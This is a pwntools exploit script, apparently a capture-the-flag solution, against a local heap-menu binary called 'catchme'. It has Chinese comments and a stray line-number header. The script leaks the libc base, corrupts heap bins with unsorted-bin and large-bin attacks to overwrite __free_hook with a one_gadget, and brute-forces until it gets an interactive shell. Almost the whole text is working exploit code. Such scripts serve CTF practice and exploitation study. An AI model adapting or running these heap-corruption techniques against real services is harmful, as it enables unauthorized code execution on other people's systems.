1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115
| from pwn import * import sys
file_path = "./catchme" remote_host = "127.0.0.1" remote_port = 1111 context(arch='amd64', os='linux', log_level='debug')
context.terminal = [ "wt.exe", "--profile", "WSL GDB (Black)", "wsl.exe", "bash", "-ic" ]
elf = ELF(file_path) libc = elf.libc
def dbg(): gdb.attach(p) pause()
def sla(a, b): p.sendlineafter(a, b) def sl(a): p.sendline(a) def s(a): p.send(a) def ru(a): p.recvuntil(a) def sa(a, b): p.sendafter(a, b) def bin_sys(libc_base): return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00')) def uu64(): return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) def uu32(): return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
# --- 封装函数修改为 add/edit/free 风格 ---
def add(idx): sla(">>\n", '1') sla("(3)otter\n", str(idx))
def free(idx): sla(">>\n", "2") sla("index:\n", str(idx))
def show(idx): sla(">>\n", "3") sla("index:\n", str(idx))
def edit(idx, content): sla(">>\n", "4") sla("index:\n", str(idx)) sa("set tag:\n", content)
def clean_note(idx): sla(">>\n", "6") sla("index:\n", str(idx))
def exploit():
for i in range(7): add(3) free(0) clean_note(0)
add(1) # idx 0 add(1) # idx 1 free(0) show(0) ru("tag:") libc_base = uu64() - 0x3ebca0 success(f"libc_base: {hex(libc_base)}") add(2) # idx 2 ru("token(2):") flag_hex_str = p.recvline().strip() flag_value = int(flag_hex_str, 16) if flag_value != 0x56: log.warn(f"Current flag {hex(flag_value)}, not 0x56, retrying...") raise Exception("Brute force failed")
add(2) # idx 3 free(2) #unsorted bin free_hook = libc_base + 0x3ed8e8 payload_bk = p64(free_hook - 0x10 - 0x8) edit(2, payload_bk)
# [bk] = free_hook - 0x10, [fd_nextsize] = 0 (防崩溃) # [bk_nextsize] = 目标地址偏移,利用 large bin attack 写入堆地址作为 fake size payload_large = p64(free_hook - 0x10) + p64(0) payload_large += p64(free_hook - 0x18 - 0x10 - 0x8 - 5) edit(0, payload_large)
one_gadget = libc_base + 0x4f302 add(3) edit(4, p64(one_gadget)) # 此时 idx 4 指向 free_hook 区域 free(0) # 触发 system/one_gadget
p.interactive()
count = 0 while True: count += 1 try: if 're' in sys.argv: p = remote(remote_host, remote_port) else: p = process(file_path) print(f"[*] 第 {count} 次尝试爆破...") exploit() print(f"[+] 爆破成功,共尝试了 {count} 次!") break except Exception as e: print(f"[-] Wrong: {e}") try: p.close() except: pass
|